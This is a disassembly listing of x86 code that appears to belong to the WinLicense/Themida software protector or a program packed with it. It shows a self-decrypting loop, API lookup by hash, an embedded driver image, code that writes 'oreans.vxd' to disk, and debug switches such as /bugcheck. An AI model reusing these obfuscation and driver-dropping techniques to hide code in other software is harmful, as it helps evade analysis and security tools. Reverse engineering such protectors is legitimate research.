		dd 0CADFC01Fh, 0E90DD4FEh, 0A326F12Fh, 0C655A18Ch, 0C583571Dh
		dd 339538C9h, 0D47281FCh, 6D20F386h, 7281FC70h,	0A0203DBAh
		dd 2B06C1F2h, 177EB9D0h, 0BBD422ECh, 0CD20D995h, 0ACAB10B3h
		dd 645DD65Dh, 53A4BEB6h, 77619DEDh, 9D98BB69h, 2FF3D467h
		dd 62E970F0h, 5CD9BC2h,	0C33F0000h, 0DE1873B4h,	0F4036A4Dh
		dd 0E6B4265h, 285DB873h, 842B9215h, 1B9CB1CAh, 74B7C430h
		dd 504BE219h, 4B6CFF05h, 3C597435h, 0DB66DAF1h,	3F45200Ch
		dd 78A5D2Ch, 6CAE8516h,	3430E3B1h, 0D498B3C9h, 8F44E373h
		dd 514E0EEFh, 4DF4h, 3F456800h,	14215D2Ch, 221BDAD9h, 706D2031h
		dd 176CAE72h, 33199A45h, 0AE84F4E5h, 0ABC43E6Ch, 9E144C70h
		dd 0F493C4CBh, 99C5727Fh, 0E55F08BFh, 51FAF950h, 0E22292C8h
		dd 7123954Eh, 98768D60h, 801BC962h, 373F4EB5h, 53236h
		dd 3F457A00h, 0D48C402Ch, 0BC840BDEh, 0AA727F8Ch, 225BCAB0h
		dd 43FB071h, 0EEC5E6B4h, 0BC20FB94h, 0B41BEEE4h, 7853B65Dh
		dd 4AD9A8FAh, 0B69D1E2Fh, 0D732324Bh, 0E33992ADh, 0A2E39EE5h
		dd 4F1DB02h, 0E7130000h, 27C5750h, 18674E69h, 324FA601h
		dd 4CB19C1Fh, 600FF631h, 7FB8D52Eh, 5853E814h, 0B477067Dh
		dd 0AF082359h, 607D5011h, 0E766DAF0h, 3F450430h, 0ABD65D2Ch
		dd 6FC4C91Ah, 19CF721Bh, 97CF7E66h, 885301BFh, 0A289AA77h
		dd 0D82FC758h, 0BBC69F46h, 8E6CAE6Ch, 4E2308A5h, 0FF2AED51h
		dd 4501FFFFh, 0D65D2C3Fh, 0FC19B4A8h, 9B6CAE84h, 7C781BC9h
		dd 5F22A0F8h, 28A1568Ch, 0F30787CFh, 9CDC5C0h, 184A727Fh
		dd 839CDA49h, 0C39DDFD0h, 846B3ACFh, 0CA65937Dh, 0D292401Ah
		dd 546C5708h, 0F378502Bh, 235DD0A1h, 8D5708h, 78502B10h
		dd 0A74FE01Ah, 402C41BAh, 0B9FF26A0h, 0AA2FF650h, 830E3C47h
		dd 78502A92h, 0BDB16735h, 5F172450h, 7B24DF8Dh,	45AC6863h
		dd 16140h, 91F6E400h, 81504E0Ah, 7FA9E602h, 2E336172h
		dd 0CA9AB5C3h, 55E81D10h, 6C9473AAh, 2F4C59C6h,	216C7D71h
		dd 522ACCC9h, 9C501C4Eh, 683BCEC4h, 2ACD3825h, 0FC8DDF52h
		dd 2ACCC4D1h, 6E114352h, 56D349Bh, 0B8EA57FCh, 203DBAA9h
		dd 67979E4Ch, 954E1CD0h, 0A255FD2h, 0EB0BE691h,	29CA905Ch
		dd 6467F802h, 3F697C2h,	0A804650Fh, 0DA000003h,	0C72E899Eh
		dd 2E05A6B9h, 167DBECFh, 785354E9h, 0F64D6E03h,	0F18CF1A9h
		dd 889FDF36h, 0ACBDC42Fh, 41DA200Bh, 48B5A66h, 66DAEF17h
		dd 2CCD67B0h, 246B7E74h, 728217FAh, 0E776816Ch,	4B1B344Eh
		dd 0B8EAEE91h, 2E3FBAA9h, 0BD5BA68Dh, 0A3393548h, 1248F1FDh
		dd 4BC2C326h, 72ED1A2h,	0B76962FDh, 1EE97089h, 33D7776h
		dd 334F0000h, 4EA88324h, 6493FA3Dh, 7EFBD2D5h, 98EDC8E3h
		dd 145B2285h, 0AB0C215Ah, 84273440h, 0E03B52A9h, 0DBDC6F95h
		dd 0ACA9E4A5h, 2B66DAEDh, 3F45B0FCh, 9FE5402Ch,	8F1FE08Ch
		dd 146EC558h, 738E6B7Bh, 0A2500ADAh, 86EF0AF1h,	0E9BA6CAEh
		dd 514E08D4h, 102B51DCh, 0B2508E5Ch, 199CDAE9h,	71F58FB0h
		dd 69FFFFFDh, 20F00A19h, 0DD9147D4h, 3AFD10Fh, 0C32F37DFh
		dd 5CEF1510h, 0E84DC90h, 0F9F4547Bh, 0C193727Eh, 0C6F68EE6h
		dd 864B4701h, 7FA9DF0Bh, 8B2A7872h, 971D250Ch, 0B42A661Ah
		dd 1E2F4EA5h, 0C32F6265h, 0B5206823h, 0E952F149h, 0C7F8294Ah
		dd 12462BF1h, 0F9DD17F0h, 0F9571BCBh, 29EAEBA6h, 3F6D2068h
		dd 2976672Ah, 43112068h, 1AC1CC9Dh, 0BD263962h,	0ED171AEFh
		dd 8725952h, 3BA69477h,	39EB35B9h, 25220h, 3348B000h, 0C8639DF8h
		dd 0E07984EFh, 0FE93ECC7h, 90ADD63Dh, 4FFFAC17h, 0B5801B36h
		dd 92F93249h, 0FED5D667h, 0B030EB84h, 0EDC1D2F1h, 914666DAh
		dd 0EC0A199Bh, 9E72FCDBh, 3EECBBD8h, 0DA197705h, 79E3839Ch
		dd 0D70B864Bh, 707281D1h, 0A9D05F22h, 0C53C1790h, 0D501B8B4h
		dd 7754453Eh, 47EE91A2h, 0ABA9223Dh, 0EAE9709Dh, 1E5233Ah
		dd 0DB270000h, 0F6006B4Ch, 0C6B4265h, 2653BA7Dh, 4045900Bh
		dd 6C338A2Dh, 73B4C932h, 6C4FDC18h, 4863FA01h, 0A304176Dh
		dd 54414C1Dh, 0F366DAEDh, 742C0824h, 4246B7Eh, 83728218h
		dd 527100D1h, 72821841h, 1CEB94C6h, 8798E64Dh, 102B51DCh
		dd 280D597h, 184D507Fh,	10CA7282h, 655664B6h, 11DD8390h
		dd 0B2B2CF34h, 91ACD1FCh, 0FCFF5616h, 35C4EA87h, 0D9708F62h
		dd 43C6DF26h, 4AB07282h, 48E5FFEFh, 145886B0h, 0A946A46Ch
		dd 297B5D06h, 89A2D845h, 80FAD3E5h, 9BE1CCEFh, 11B2EC80h
		dd 8F12D5A5h, 1EC15AA0h, 8F52ED17h, 0EC55C257h,	0D38C195Ch
		dd 3DB8B7C2h, 0D228732Ch, 0CBB2A8B9h, 0FBD9397Dh, 0E940A921h
		dd 9E5EB4B3h, 0E912FFE5h, 4A3B5877h, 8EDC7282h,	136314D8h
		dd 0DCE71DD4h, 3E152B8Bh, 68D5C92h, 72819C15h, 0F932E0B2h
		dd 5D46992h, 0B4B8D52Eh, 0A6670D36h, 9B9BB817h,	0C6CD7281h
		dd 72819BD5h, 0F2A02072h, 82ECE9C1h, 0CF34ED38h, 0E91279B2h
		dd 46BD9854h, 0C0463F37h, 0A2E1B025h, 72819BB1h, 4DDE0456h
		dd 0BF295319h, 0FA032AD5h, 3E354467h, 0AEF5AEBFh, 6E2B3B54h
		dd 2AF554AFh, 974E9911h, 0C1D2F16Dh, 462AF554h,	6E456614h
		dd 68755814h, 0EF2AF555h, 7AE78FBDh, 0E0806C01h, 7C863FE6h
		dd 97EDC8E3h, 2C64E884h, 0B0ECA3B6h, 5730C686h,	6622A205h
		dd 62A9968h, 81369A1Ah,	0CC3613D3h, 0E71D78B3h,	8FBDCC2Bh
		dd 8B46DAE7h, 5F293D8Eh, 18334988h, 6A59E89Fh, 3D8E8B69h
		dd 9883BCEEh, 3825C962h, 50DFA2BFh, 856F1029h, 22C25F98h
		dd 0CDA1B8C7h, 3284A325h, 0DC463E7h, 684364F7h,	74757912h
		dd 17h,	0B1FD1938h, 4C3DF122h, 0D2809DDAh, 2A93800Fh, 66346CAEh
		dd 4554B8BDh, 0DB462E3Dh, 7BE68EA1h, 98856900h,	3A27CF5Ch
		dd 65C0ACC1h, 84610D20h, 230EE67Bh, 4CA945D4h, 0B2551932h
		dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 89532414h
		dd 4C381E3h, 83000000h,	1C8704EBh, 34895C24h, 220D6824h
		dd 0C890000h, 0E7685024h, 58580316h, 2F83B72Dh,	585E5052h
		dd 35F868h, 24248900h, 4240483h, 0BD555659h, 3F4E7EB5h
		dd 4246C01h, 8418F5Dh, 0B5086981h, 8B3F4E7Eh, 8953240Ch
		dd 4C381E3h, 83000000h,	1C8704C3h, 34FF5C24h, 0C4815E24h
		dd 4, 0FDE14AE9h
		db 0FFh, 14h
; ---------------------------------------------------------------------------


loc_59391A:				; CODE XREF: ud2_____:loc_59310Dj
		mov	eax, 5D39A6Ch
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 72h
		dd 0CA3D95EFh, 2E241C85h, 0E96C0779h, 71h, 0DBD8360h, 5D100h
		dd 5840Fh, 5CE90000h, 6A000000h, 303E8000h, 8850Fh, 6A0000h
		dd 35E946h, 3E800000h, 8850F33h, 6A000000h, 24E94610h
		dd 80000000h, 850F343Eh, 8, 0E946306Ah,	13h, 0F353E80h
		dd 885h, 46406A00h, 2E9h, 8D006A00h, 0D11C3985h, 90509005h
		dd 6A965096h, 995FF00h,	6105D125h, 0D985C6C3h, 4D05D124h
		dd 3C475E68h, 24348183h, 270931F6h, 829B5FFh, 858D05D1h
		dd 5D1384Ah, 8589D0FFh,	5D12509h, 13E8h, 56CB8A00h, 0D7C663B2h
		dd 88571F87h, 7FBA8FC7h, 9451354Dh, 1F3D9D29h, 0BF5905D1h
		dd 79C6CB51h, 73C0C181h, 0B5890000h, 5D12A65h, 0B589DB33h
		dd 5D10F85h, 6619048Bh,	0F081F28Bh, 252FE9FFh, 6E8h, 0E761B000h
		dd 817D1792h, 0DF2B03F2h, 0F0815A26h, 350D5F89h, 5E9h
		dd 82457600h, 0E8812283h, 443DE0D4h, 89F28B66h,	6E91904h
		dd 6B000000h, 0CD4626B2h, 0E9958947h, 8305D110h, 0F28B01EBh
		dd 0F4B4B4Bh, 889h, 95895200h, 5D11D45h, 0E4FB815Fh, 0FFFFF8Ch
		dd 0FFFF9385h, 0B58956FFh, 5D114ADh, 0AAE95Ah, 6F530000h
		dd 61777466h, 575C6572h, 694C6E69h, 736E6563h, 68430065h
		dd 496B6365h, 7058004Eh, 45746F72h, 746978h, 63656843h
		dd 54554F6Bh, 6E695700h, 6563694Ch, 5665736Eh, 69737265h
		dd 57006E6Fh, 694C6E69h, 736E6563h, 69724465h, 56726576h
		dd 69737265h, 57006E6Fh, 694C6E69h, 736E6563h, 736E4965h
		dd 636E6174h, 78450065h, 6B4F7469h, 6F725000h, 4E4963h
		dd 636F7250h, 54554Fh, 74697845h, 45004E49h, 4F746978h
		dd 54005455h, 4E4970h, 3 dup(0)
		dd 77DEB908h, 77DFD5BBh, 596E9h, 0F0858900h, 8D05D39Ch
		dd 0D39CEC85h, 858D5005h, 5D39C56h, 16850h, 95FF8000h
		dd 5D39CFCh, 0B5FF196Ah, 5D39CF0h, 6A016Ah, 9C85858Dh
		dd 0FF5005D3h, 0D39CECB5h, 4595FF05h, 0FF05D10Ch, 0D39CECB5h
		dd 0F895FF05h, 0FF05D39Ch, 0D39CECB5h, 595FF05h, 0C305D123h
		dd 9CF08589h, 858D05D3h, 5D39CECh, 56858D50h, 5005D39Ch
		dd 168h, 0FC95FF80h, 6A05D39Ch,	0F0858D04h, 5005D39Ch
		dd 6A046Ah, 9CAF858Dh, 0FF5005D3h, 0D39CECB5h, 4595FF05h
		dd 0FF05D10Ch, 0D39CECB5h, 0F895FF05h, 0FF05D39Ch, 0D39CECB5h
		dd 595FF05h, 0C305D123h, 9CF08589h, 858D05D3h, 5D39CECh
		dd 56858D50h, 5005D39Ch, 168h, 0FC95FF80h, 6A05D39Ch, 0F0858D04h
		dd 5005D39Ch, 6A046Ah, 9C97858Dh, 0FF5005D3h, 0D39CECB5h
		dd 4595FF05h, 0FF05D10Ch, 0D39CECB5h, 0F895FF05h, 0FF05D39Ch
		dd 0D39CECB5h, 595FF05h, 0C305D123h, 9CF08589h,	858D05D3h
		dd 5D39CECh, 56858D50h,	5005D39Ch, 168h, 0FC95FF80h, 6A05D39Ch
		dd 0F0858D04h, 5005D39Ch, 6A046Ah, 9CC2858Dh, 0FF5005D3h
		dd 0D39CECB5h, 4595FF05h, 0FF05D10Ch, 0D39CECB5h, 0F895FF05h
		dd 0FF05D39Ch, 0D39CECB5h, 595FF05h, 0C305D123h, 9CF08589h
		dd 858D05D3h, 5D39CECh,	56858D50h, 5005D39Ch, 168h, 0FC95FF80h
		dd 6A05D39Ch, 0F0858D04h, 5005D39Ch, 6A046Ah, 9C72858Dh
		dd 0FF5005D3h, 0D39CECB5h, 4595FF05h, 0FF05D10Ch, 0D39CECB5h
		dd 0F895FF05h, 0FF05D39Ch, 0D39CECB5h, 595FF05h, 0C305D123h
		dd 26ADBD83h, 0F0005D1h, 0B84h,	0AD9D8B00h, 8305D126h
		dd 3894CC3h, 0ADBD83C3h, 5D126h, 0B840Fh, 9D8B0000h, 5D126ADh
		dd 8950C383h, 0BD83C303h, 5D126ADh, 0B840F00h, 8B000000h
		dd 0D126AD9Dh, 54C38305h, 83C30389h, 0D126ADBDh, 840F0005h
		dd 0Bh,	26AD9D8Bh, 0C38305D1h, 0C3038958h, 26ADBD83h, 0F0005D1h
		dd 0B84h, 0AD9D8B00h, 8305D126h, 3895CC3h, 8960C3C3h, 0D39CF085h
		dd 0EC858D05h, 5005D39Ch, 9C56858Dh, 685005D3h,	80000001h
		dd 9CFC95FFh, 46A05D3h,	9CF0858Dh, 6A5005D3h, 8D006A04h
		dd 0D39CE785h, 0B5FF5005h, 5D39CECh, 0C4595FFh,	0BD8305D1h
		dd 5D11671h, 0C840F00h,	0FF000000h, 0D39CECB5h,	0F895FF05h
		dd 0FF05D39Ch, 0D39CECB5h, 595FF05h, 6105D123h,	858960C3h
		dd 5D39CF0h, 9CEC858Dh,	8D5005D3h, 0D39C5685h, 1685005h
		dd 0FF800000h, 0D39CFC95h, 8D046A05h, 0D39CF085h, 46A5005h
		dd 858D006Ah, 5D39CC9h,	0ECB5FF50h, 0FF05D39Ch,	0D10C4595h
		dd 71BD8305h, 5D116h, 0C840Fh, 0B5FF0000h, 5D39CECh, 9CF895FFh
		dd 0B5FF05D3h, 5D39CECh, 230595FFh, 0C36105D1h,	0F0858960h
		dd 8D05D39Ch, 0D39CEC85h, 858D5005h, 5D39C56h, 16850h
		dd 95FF8000h, 5D39CFCh,	858D046Ah, 5D39CF0h, 6A046A50h
		dd 0D0858D00h, 5005D39Ch, 9CECB5FFh, 95FF05D3h,	5D10C45h
		dd 1671BD83h, 0F0005D1h, 0C84h,	0ECB5FF00h, 0FF05D39Ch
		dd 0D39CF895h, 0ECB5FF05h, 0FF05D39Ch, 0D1230595h, 60C36105h
		dd 9CF08589h, 858D05D3h, 5D39CECh, 56858D50h, 5005D39Ch
		dd 168h, 0FC95FF80h, 6A05D39Ch,	0F0858D04h, 5005D39Ch
		dd 6A046Ah, 9CD8858Dh, 0FF5005D3h, 0D39CECB5h, 4595FF05h
		dd 8305D10Ch, 0D11671BDh, 840F0005h, 0Ch, 9CECB5FFh, 95FF05D3h
		dd 5D39CF8h, 9CECB5FFh,	95FF05D3h, 5D12305h, 8960C361h
		dd 0D39CF085h, 0EC858D05h, 5005D39Ch, 9C56858Dh, 685005D3h
		dd 80000001h, 9CFC95FFh, 46A05D3h, 9CF0858Dh, 6A5005D3h
		dd 8D006A04h, 0D39CDF85h, 0B5FF5005h, 5D39CECh,	0C4595FFh
		dd 0BD8305D1h, 5D11671h, 0C840F00h, 0FF000000h,	0D39CECB5h
		dd 0F895FF05h, 0FF05D39Ch, 0D39CECB5h, 595FF05h, 6105D123h
		dd 85C760C3h, 5D39CF0h,	1, 9CEC858Dh, 8D5005D3h, 0D39C5685h
		dd 2685005h, 0FF800000h, 0D39CFC95h, 0FC00B05h,	0F84h
		dd 0F085C700h, 5D39Ch, 0E9000000h, 4Dh,	858D046Ah, 5D39CF0h
		dd 6A046A50h, 6A858D00h, 5005D39Ch, 9CECB5FFh, 95FF05D3h
		dd 5D10C45h, 840FC00Bh,	0Fh, 9CF085C7h,	5D3h, 0AE90000h
		dd 0C7000000h, 0D39CF085h, 105h, 0ECB5FF00h, 0FF05D39Ch
		dd 0D1230595h, 858B6105h, 5D39CF0h, 858960C3h, 5D39CF0h
		dd 9CEC858Dh, 8D5005D3h, 0D39C5685h, 1685005h, 0FF800000h
		dd 0D39CFC95h, 8D046A05h, 0D39CF085h, 46A5005h,	858D006Ah
		dd 5D39C6Ah, 0ECB5FF50h, 0FF05D39Ch, 0D10C4595h, 71BD8305h
		dd 5D116h, 0C840Fh, 0B5FF0000h,	5D39CECh, 9CF895FFh, 0B5FF05D3h
		dd 5D39CECh, 230595FFh,	0C36105D1h, 0F0858960h,	8D05D39Ch
		dd 0D39CEC85h, 858D5005h, 5D39C56h, 16850h, 95FF8000h
		dd 5D39CFCh, 858D046Ah,	5D39CF0h, 6A046A50h, 7C858D00h
		dd 5005D39Ch, 9CECB5FFh, 95FF05D3h, 5D10C45h, 1671BD83h
		dd 0F0005D1h, 0C84h, 0ECB5FF00h, 0FF05D39Ch, 0D39CF895h
		dd 0ECB5FF05h, 0FF05D39Ch, 0D1230595h, 0C6C36105h, 0D124D985h
		dd 7685205h, 0FFADE47Bh, 0D113F9B5h, 3595FF05h,	8905D131h
		dd 0D39CFC85h, 0D985C605h, 5205D124h, 2E00E568h, 0F9B5FF90h
		dd 0FF05D113h, 0D1313595h, 0F8858905h, 0C605D39Ch, 0D124D985h
		dd 35685205h, 0FFB9BF12h, 0D113F9B5h, 3595FF05h, 8905D131h
		dd 0D10C4585h, 0D985C605h, 5205D124h, 78103468h, 0F9B5FF98h
		dd 0FF05D113h, 0D1313595h, 5858905h, 0C605D123h, 0D124D985h
		dd 0D4685205h, 0FFC005DBh, 0D113F9B5h, 3595FF05h, 8905D131h
		dd 0D118BD85h, 20EE905h, 43330000h, 6F6E6E61h, 72772074h
		dd 20657469h, 6165726Fh, 762E736Eh, 0D0A6478h, 656B614Dh
		dd 72757320h, 68742065h, 74207461h, 20736968h, 656C6966h
		dd 20736920h, 20746F6Eh, 6E696562h, 73752067h, 62206465h
		dd 6E612079h, 6568746Fh, 72702072h, 6172676Fh, 2E6Dh, 67h dup(0)
		dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_594460
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+5D124D9h], 47h
		push	0E3E45B86h
		push	dword ptr [ebp+5D10699h]
		lea	eax, [ebp+5D1384Ah]
		call	eax
		push	104h
		lea	ebx, [ebp+5D1071Dh]
		push	ebx
		call	eax
		push	eax
		lea	esi, [ebp+5D3A52Eh]
		mov	edi, esi
		xor	al, al


loc_5943A4:				; CODE XREF: ud2_____:005943A5j
		scasb
		jnz	loc_5943A4
		sub	edi, esi
		mov	ecx, edi
		pop	eax
		mov	edi, ebx
		add	edi, eax
		rep movsb
		mov	byte ptr [ebp+5D124D9h], 43h
		push	0BC8E6EFCh
		push	dword ptr [ebp+5D10699h]
		lea	eax, [ebp+5D1384Ah]
		call	eax
		lea	esi, [ebp+5D1071Dh]
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	0C0000000h
		push	esi
		call	eax
		mov	ebx, eax
		mov	byte ptr [ebp+5D124D9h], 57h
		push	0A69BEE56h
		push	dword ptr [ebp+5D10699h]
		lea	eax, [ebp+5D1384Ah]
		call	eax
		lea	edi, [ebp+5D10975h]
		lea	ecx, [ebp+5D3A654h]
		push	0
		push	edi
		push	37D0h
		push	ecx
		push	ebx
		call	eax
		test	eax, eax
		jnz	loc_594442
		lea	esi, [ebp+5D3A336h]
		lea	eax, [ebp+5D39B0Ch]
		call	eax
		lea	ecx, [ebp+5D16FC0h]
		mov	eax, 0
		jmp	ecx
; ---------------------------------------------------------------------------


loc_594442:				; CODE XREF: ud2_____:00594421j
		mov	byte ptr [ebp+5D124D9h], 43h
		push	0C0764AA7h
		push	dword ptr [ebp+5D10699h]
		lea	eax, [ebp+5D1384Ah]
		call	eax
		push	ebx
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_594460:				; CODE XREF: ud2_____:0059436Cj
		mov	ecx, 37D0h
		call	$+5
		pop	eax
		add	eax, 0Eh
		mov	[eax], ecx
		jmp	loc_594477
; ---------------------------------------------------------------------------
		mov	eax, ebx


loc_594477:				; CODE XREF: ud2_____:00594470j
		jmp	loc_597C4C
; ---------------------------------------------------------------------------
		dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0
		dd 40h,	8 dup(0)
		dd 0B0h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h
		dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0)
		dd 454Ch, 0
		dd 40002h, 0
		dd 38000h, 14h,	4 dup(0)
		dd 200h, 1C0h, 90h, 0
		dd 7Eh,	0
		dd 0C4h, 1, 0DCh, 3 dup(0)
		dd 12Ch, 138h, 2 dup(0)
		dd 142h, 196h, 1D2h, 0
		dd 1D2h, 0
		dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0)
		dd 4000000h, 27C0h, 0
		dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h
		dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h
		dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h,	110000h
		dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h
		dd 10301h, 3, 0
		dd 13h dup(70000h), 3C0000h, 70000h, 60010018h,	0AD000727h
		dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h
		dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h
		dd 7279801h, 1016B00h, 2771h, 360h dup(0)
		dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0)
aVerpp		db 'verPP',0
		align 10h
a1vsr2vsr3vsr	db '1vsR2vsR3vsR',0
		align 10h
		dd 9C3h	dup(0)
; ---------------------------------------------------------------------------
		sub	eax, 1Bh
		cmp	eax, 9
		jnb	short loc_597BEB
		jmp	dword ptr ds:0[eax*4]
; ---------------------------------------------------------------------------


loc_597BEB:				; CODE XREF: ud2_____:00597BE2j
		clc
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 8 dup(0)
		dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah
		dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h
		dd 5250580Ch, 5856544Fh, 44445F44h, 42h
; ---------------------------------------------------------------------------


loc_597C4C:				; CODE XREF: ud2_____:loc_594477j
		call	near ptr sub_597C65
		sub	[eax], ch
		sub	esi, [edx]
		mov	eax, 0A15E2DADh
		scasb
		db	2Eh, 2Eh
		scas	byte ptr es:[edi]
		fld	qword ptr [ebp-15B8B440h]
		xchg	eax, ebp

; =============== S U B	R O U T	I N E =======================================



sub_597C65	proc far		; CODE XREF: ud2_____:loc_597C4Cp
		mov	edi, 31D0B8D6h
		pop	esi
		mov	eax, edx
		add	esi, 70B0h
		or	ecx, 629F32C7h
		mov	ebx, 0
		mov	di, 22AAh


loc_597C82:				; CODE XREF: sub_597CD2+23j
		mov	edx, [esi+ebx]
		pusha
		add	esi, 4B6863DCh
		jbe	loc_597C94
		mov	dl, 63h


loc_597C94:				; CODE XREF: sub_597C65+27j
		popa
		sub	edx, 5488847Ah
		mov	di, ax
		add	edx, 398497F0h
		movzx	eax, ax
		sub	edx, 1832121Bh
		jmp	loc_597CC0
; ---------------------------------------------------------------------------
		dw 3C18h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 30h,	89h, 0D7h
		db 90h
; ---------------------------------------------------------------------------
		sbb	ds:80547641h, bh
		pop	ecx


loc_597CC0:				; CODE XREF: sub_597C65+48j
		mov	[esi+ebx], edx
		call	sub_597CD2
		add	cl, dh
		aas
		add	eax, 135C2CB9h
		dec	ecx
		dec	edi
sub_597C65	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_597CD2	proc near		; CODE XREF: sub_597C65+5Ep
		pusha
		jmp	loc_597CDE
; ---------------------------------------------------------------------------
		dd 0C4B6E833h
		db 0F4h, 8Ch
; ---------------------------------------------------------------------------


loc_597CDE:				; CODE XREF: sub_597CD2+1j
		popa
		pop	edi
		mov	eax, esi
		sub	ebx, 1
		dec	ebx
		dec	ebx
		dec	ebx
		jb	loc_597CEF
		cmc


loc_597CEF:				; CODE XREF: sub_597CD2+16j
		cmp	ebx, 0FFFF8FF8h
		jnz	loc_597C82
		mov	eax, edi
		jmp	loc_597D9B
; ---------------------------------------------------------------------------
		dw 622Fh
aUgcheck2	db 'ugcheck2',0
aBugcheck	db '/bugcheck',0
aForcerun	db '/forcerun',0
aBugcheckfull	db '/bugcheckfull',0
aShowcode	db '/showcode',0
aShowcode2	db '/showcode2',0
aClrt		db '/clrt',0
aDis1		db '/dis1',0
aShowinstance	db '/showinstance',0
aGetwlstatus	db '/getwlstatus',0
aLogstatus	db '/logstatus',0
aDumpstatus	db '/dumpstatus',0
		align 4
		dd 632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_597D9B:				; CODE XREF: sub_597CD2+2Bj
		cmp	dword ptr [ebp+5D3DF5Ah], 0
		jz	loc_597DB2
		mov	dword ptr [ebp+5D1121Dh], 1


loc_597DB2:				; CODE XREF: sub_597CD2+D0j
		mov	byte ptr [ebp+5D124D9h], 47h
		call	sub_597DC2
		lea	ebp, [ebp+ebp*2-70h]
sub_597CD2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_597DC2	proc near		; CODE XREF: sub_597CD2+E7p

; FUNCTION CHUNK AT 00598117 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005991C7 SIZE 0000001B BYTES

		push	eax
		mov	eax, [esp+4]
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	dword ptr [ebp+5D10699h]
		lea	eax, [ebp+5D1384Ah]
		call	eax
		call	eax
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	loc_597E0B
		inc	edi
		mov	al, 22h


loc_597DEC:				; CODE XREF: sub_597DC2+2Bj
		scasb
		jnz	loc_597DEC
		cmp	byte ptr [edi],	0
		jz	loc_598117
		inc	edi
		cmp	byte ptr [edi],	0
		jz	loc_598117
		jmp	loc_597E29
; ---------------------------------------------------------------------------


loc_597E0B:				; CODE XREF: sub_597DC2+21j
					; sub_597DC2+62j
		cmp	byte ptr [edi],	0
		jz	loc_598117
		cmp	byte ptr [edi],	20h
		jnz	loc_597E23
		inc	edi
		jmp	loc_597E29
; ---------------------------------------------------------------------------


loc_597E23:				; CODE XREF: sub_597DC2+55j
		inc	edi
		jmp	loc_597E0B
; ---------------------------------------------------------------------------


loc_597E29:				; CODE XREF: sub_597DC2+44j
					; sub_597DC2+5Cj ...
		cmp	byte ptr [edi],	0
		jnz	loc_597E37
		jmp	loc_598117
; ---------------------------------------------------------------------------


loc_597E37:				; CODE XREF: sub_597DC2+6Aj
		jmp	loc_597E3D
; ---------------------------------------------------------------------------


loc_597E3C:				; CODE XREF: sub_597DC2+7Ej
		inc	edi


loc_597E3D:				; CODE XREF: sub_597DC2:loc_597E37j
		cmp	byte ptr [edi],	20h
		jz	loc_597E3C
		cmp	byte ptr [edi],	0
		jnz	loc_597E54
		jmp	loc_598117
; ---------------------------------------------------------------------------


loc_597E54:				; CODE XREF: sub_597DC2+87j
		call	sub_597E63
		jmp	loc_597E29
sub_597DC2	endp

; ---------------------------------------------------------------------------
		jmp	loc_598117

; =============== S U B	R O U T	I N E =======================================



sub_597E63	proc near		; CODE XREF: sub_597DC2:loc_597E54p
		lea	esi, [ebp+5D3DEDAh]
		call	sub_598093
		add	edi, [ebp+5D3DF6Fh]
		cmp	dword ptr [ebp+5D3DF6Fh], 0
		jz	loc_597E8C
		mov	dword ptr [ebp+5D11671h], 1
		retn
; ---------------------------------------------------------------------------


loc_597E8C:				; CODE XREF: sub_597E63+18j
		lea	esi, [ebp+5D3DEE5h]
		call	sub_598093
		add	edi, [ebp+5D3DF6Fh]
		cmp	dword ptr [ebp+5D3DF6Fh], 0
		jz	loc_597EB5
		mov	dword ptr [ebp+5D1121Dh], 1
		retn
; ---------------------------------------------------------------------------


loc_597EB5:				; CODE XREF: sub_597E63+41j
		lea	esi, [ebp+5D3DF5Eh]
		call	sub_598093
		add	edi, [ebp+5D3DF6Fh]
		cmp	dword ptr [ebp+5D3DF6Fh], 0
		jz	loc_597EDE
		mov	dword ptr [ebp+5D1000Dh], 1
		retn
; ---------------------------------------------------------------------------


loc_597EDE:				; CODE XREF: sub_597E63+6Aj
		lea	esi, [ebp+5D3DEEFh]
		call	sub_598093
		add	edi, [ebp+5D3DF6Fh]
		cmp	dword ptr [ebp+5D3DF6Fh], 0
		jz	loc_597F07
		mov	dword ptr [ebp+5D1121Dh], 1
		retn
; ---------------------------------------------------------------------------


loc_597F07:				; CODE XREF: sub_597E63+93j
		lea	esi, [ebp+5D3DEF9h]
		call	sub_598093
		add	edi, [ebp+5D3DF6Fh]
		cmp	dword ptr [ebp+5D3DF6Fh], 0
		jz	loc_597F3A
		mov	dword ptr [ebp+5D1121Dh], 1
		mov	dword ptr [ebp+5D11671h], 1
		retn
; ---------------------------------------------------------------------------


loc_597F3A:				; CODE XREF: sub_597E63+BCj
		lea	esi, [ebp+5D3DF07h]
		call	sub_598093
		add	edi, [ebp+5D3DF6Fh]
